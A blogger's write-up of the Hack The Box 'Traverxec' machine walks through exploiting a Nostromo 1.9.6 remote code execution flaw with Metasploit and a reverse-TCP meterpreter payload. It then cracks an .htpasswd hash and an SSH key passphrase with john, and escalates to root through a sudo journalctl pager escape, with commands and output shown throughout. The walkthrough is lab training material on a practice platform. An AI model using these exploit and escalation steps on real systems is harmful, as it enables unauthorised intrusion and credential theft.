24th October 2020
Hack The Box Traverxec Write-Up by T13nn3s

Hack The Box Write-Up Traverxec –

Everything is a copy of a copy of a copy.

Chuck Palahniuk, Fight Club

About Traverxec

In this post, I’m writing a write-up for the machine Traverxec from Hack The Box. Hack The Box is an online platform allowing you to test and advance your skills in cybersecurity.

Traverxec is an ‘easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

After the port scan, I checked the HTTP service first and found that this website is running on Nostromo 1.9.6. There is a known Remote Code Execution vulnerability for this specific version of Nostromo. With the use of Metasploit I was able to get an shell as the user www-data to this box.

For getting the user flag, there was some enumeration needed. On the box, there is a protected-file-area that contains a backup of SSH keys. After cracking the private key I was able to get a shell through SSH to this box with the user David. After the SSH connection was established I could grab the user flag.

After getting an SSH session with the user David I found a directory called ‘bin’ in his home folder which contains a bash script. This bash script calls journalctl as root. By using an interactive system shell I was able to break out from the restricted environment and do a privilege escalation to root.

Machine Info

Machine info
Machine IP and creator


Port scan

I start this box with an port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/traverxec.txt

Results of the portscan.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 19:45 CET
Nmap scan report for
Host is up (0.11s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.81 seconds

I have got two open ports:

  • 22/tcp (SSH)
  • 80/tcp (HTTP, nostromo 1.9.6)

Enumeration Web Server

As the HTTP port is open, there is a change that there is a website hosted on this box. I visited this URL and checked this website. I have checked the URLs on this website, but none of them is pointing to a webpage. This website only shows David White. It seems that he is created for the web. Well, me too. I feel a connection with him…

The webpage at

According to the results of the Nmap scan, this website is running on a nostromo 1.9.6 Web Server. Let’s check if there is a known vulnerability for this version of Nostromo. This is the point where searchsploit comes in.

~$ searchsploit nostromo
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)                                                                  | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                                                                                                | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution                                                                  | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

And there is a known vulnerability for this specific Nostromo version. Let’s start Metasploit and check if I can get a shell on this box.


Nostromo 1.9.6 – Remote Code Execution

I opened Metasploit with msfconsole and configured the exploit as below.

msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set rhosts
rhosts =>
msf5 exploit(multi/http/nostromo_code_exec) > check
[*] - The target appears to be vulnerable.
msf5 exploit(multi/http/nostromo_code_exec) > set target 1
target => 1
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/http/nostromo_code_exec) > set lhost
lhost =>
msf5 exploit(multi/http/nostromo_code_exec) > set lport 4444
lport => 4444
msf5 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x86/meterpreter/reverse_tcp command stager
[*] Sending stage (985320 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-02-03 23:21:13 +0100

Ok, got now a shell on this box. Got a shell as user www-data.

meterpreter > pwd

Upgraded the shell with the command ‘shell’. Let’s poke some around.

cd /home
$ ls -al
ls -al
total 12
drwxr-xr-x  3 root  root  4096 Oct 25 14:32 .
drwxr-xr-x 18 root  root  4096 Oct 25 14:17 ..
drwx--x--x  5 david david 4096 Oct 25 17:02 david

There is a user ‘david’ listed. I need to find the credentials of this user account.

$ ls  
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
$ cd /var
/var$ ls
backups  cache  lib  local  lock  log  mail  nostromo  opt  run  spool  tmp
$ cd nostromo
/var/nostromo$ ls 
conf  htdocs  icons  logs
/var/nostromo/conf$ cd conf
/var/nostromo/conf$ ls -al
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root   4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin      41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin     498 Oct 25 15:20 nhttpd.conf
/var/nostromo/conf$ cat .htpasswd

I have now the hashed password for the user david. I placed this hash in a file named ‘password-david.txt’.

Getting User

Crack password david

The next step is to crack this password. I’m sure ‘john’ can handle this. But, before that, I need to identify the hash type before I know what to do with John.

~# hash-identifier 
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   [email protected] #
 HASH: $1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Possible Hashs:
[+] MD5(Unix)

It’s an ‘MD5(Unix)’ hash. I used john with the well-known wordlist rockyou.txt for cracking this password.

~$ john password-david.txt --rules --wordlist=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:27 0.13% (ETA: 03:37:47) 0g/s 38595p/s 38595c/s 38595C/s PITOTE..PILLO
0g 0:00:02:06 0.56% (ETA: 04:00:35) 0g/s 35851p/s 35851c/s 35851C/s poohpie3..poohneeyore5
0g 0:00:03:35 0.91% (ETA: 04:18:29) 0g/s 34100p/s 34100c/s 34100C/s idciilj1..idaxina
0g 0:00:04:21 1.13% (ETA: 04:11:52) 0g/s 34643p/s 34643c/s 34643C/s cgpui1719..cgodfrey
0g 0:00:05:23 1.27% (ETA: 04:49:20) 0g/s 31567p/s 31567c/s 31567C/s [email protected]
0g 0:00:05:25 1.27% (ETA: 04:51:00) 0g/s 31443p/s 31443c/s 31443C/s abby213..abby123arjay
Nowonly4me       (?)
1g 0:00:05:45 DONE (2020-02-03 21:51) 0.002897g/s 30645p/s 30645c/s 30645C/s Noyoudo..November^
Use the "--show" option to display all of the cracked passwords reliably
Session completed
~$ john --show password-david.txt 

1 password hash cracked, 0 left
[email protected]:/home/htb/boxes/machines/traverxec$ 

Ok, now I got the password: Nowonly4me. I tried to create an SSH connection with the user David in combination with this password, but it’s not working. There has something more to be done.

Access the Protected File Area

After some time poking around on this box, I ended up reading the Nostromos’ manual. There has something more on this box. After some Googling around on the internet, I headed back to the /var/nostromo/conf directory and read the ‘nhttpd.conf’. The last two lines contain useful information.

meterpreter > cd /var/nostromo/conf
meterpreter > cat nhttpd.conf

homedirs                /home
homedirs_public         public_www

The homedirs section /home is placed before the user (ex /home/user). But the public_www is placed after the user. (ex. /home/user/public_www). I do not have access to the home folder of the user account david. But, maybe I do have access to the location /home/david/public_www.

meterpreter > cd /home/david/public_www
meterpreter > ls
Listing: /home/david/public_www

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  402   fil   2019-10-25 21:45:10 +0200  index.html
40755/rwxr-xr-x   4096  dir   2019-10-25 23:02:59 +0200  protected-file-area

Wiewjie! Got access, I like this box already! There are some files listed. I downloaded the ‘file backup-ssh-identity-files.tgz’ to my local machine for further investigation.

meterpreter > cd protected-file-area
meterpreter > ls
Listing: /home/david/public_www/protected-file-area

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  45    fil   2019-10-25 21:46:01 +0200  .htaccess
100644/rw-r--r--  1915  fil   2019-10-25 23:02:59 +0200  backup-ssh-identity-files.tgz

meterpreter > cat .htaccess 
realm David's Protected File Area. Keep out!
meterpreter > download backup-ssh-identity-files.tgz
[*] Downloading: backup-ssh-identity-files.tgz -> backup-ssh-identity-files.tgz
[*] Downloaded 1.87 KiB of 1.87 KiB (100.0%): backup-ssh-identity-files.tgz -> backup-ssh-identity-files.tgz
[*] download   : backup-ssh-identity-files.tgz -> backup-ssh-identity-files.tgz
meterpreter > 

Back on my machine I extracted the file backup-ssh-identity-files.tgz.

~$ tar xvzf backup-ssh-identity-files.tgz 

This are the files I need for SSH access. I give the hash ‘id_rsa’ to to ssh2john. The output:


Now I have got the hash is the time (again) for john.

~$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (?)
1g 0:00:00:11 DONE (2020-02-03 23:30) 0.08532g/s 1223Kp/s 1223Kc/s 1223KC/sa6_123..*7¡Vamos!
Session completed

I now have the SSH key and the password. With these data, I can create an SSH session as user david and get the user.txt.

~$ ssh [email protected] -i id_rsa
Enter passphrase for key 'id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Mon Feb  3 17:35:36 2020 from
[email protected]:~$ ls
bin  public_www  user.txt
[email protected]:~$ cat user.txt
[email protected]:~$ 

Submit the flag, and go to the next phase.

Privilege escalation


I need to perform now some enumeration to get root access. I have access to SSH with the user david, from this point I’m starting the enumeration to get root access.

There are two folders in this location. I do not have access to run the ‘sudo -l’ command to check my current level of privileges.

[email protected]:~$ ls
bin  public_www  user.txt

Let’s start with the ‘bin’ folder. Those files are listed in this folder.

[email protected]:~/bin$ ls -al
total 32
drwx------ 2 david david  4096 Feb  4 15:59  .
drwx--x--x 5 david david  4096 Feb  4 15:53  ..
-r-------- 1 david david   802 Oct 25 16:26  server-stats.head
-rwx------ 1 david david   363 Oct 25 16:26  server-stats.sh

I first file shows an ‘picture’.

[email protected]:~/bin$ cat server-stats.head 
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                        jgs '"""""""""""""' 

Own Traverxec

The second file shows an bash script.

[email protected]:~/bin$ cat server-stats.sh

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Line 10 is the interesting line. Journalctl will be executed as root. It that case it can be used to outbreak the restricted area. I checked this webpage: https://gtfobins.github.io/gtfobins/journalctl/. I invoked this command:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

After the execution I have to resize the shell to a smaller window, otherwise, the pager will not work. And then executed the command !/bin/sh. Now, I’m root.

Privilege escalation to root

Submit the flag, and this box is done. Do you liked this write-up much as I do? Please consider spending a respect point: https://www.hackthebox.eu/home/users/profile/224856. Thanks in advance!

Happy Hacking!


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *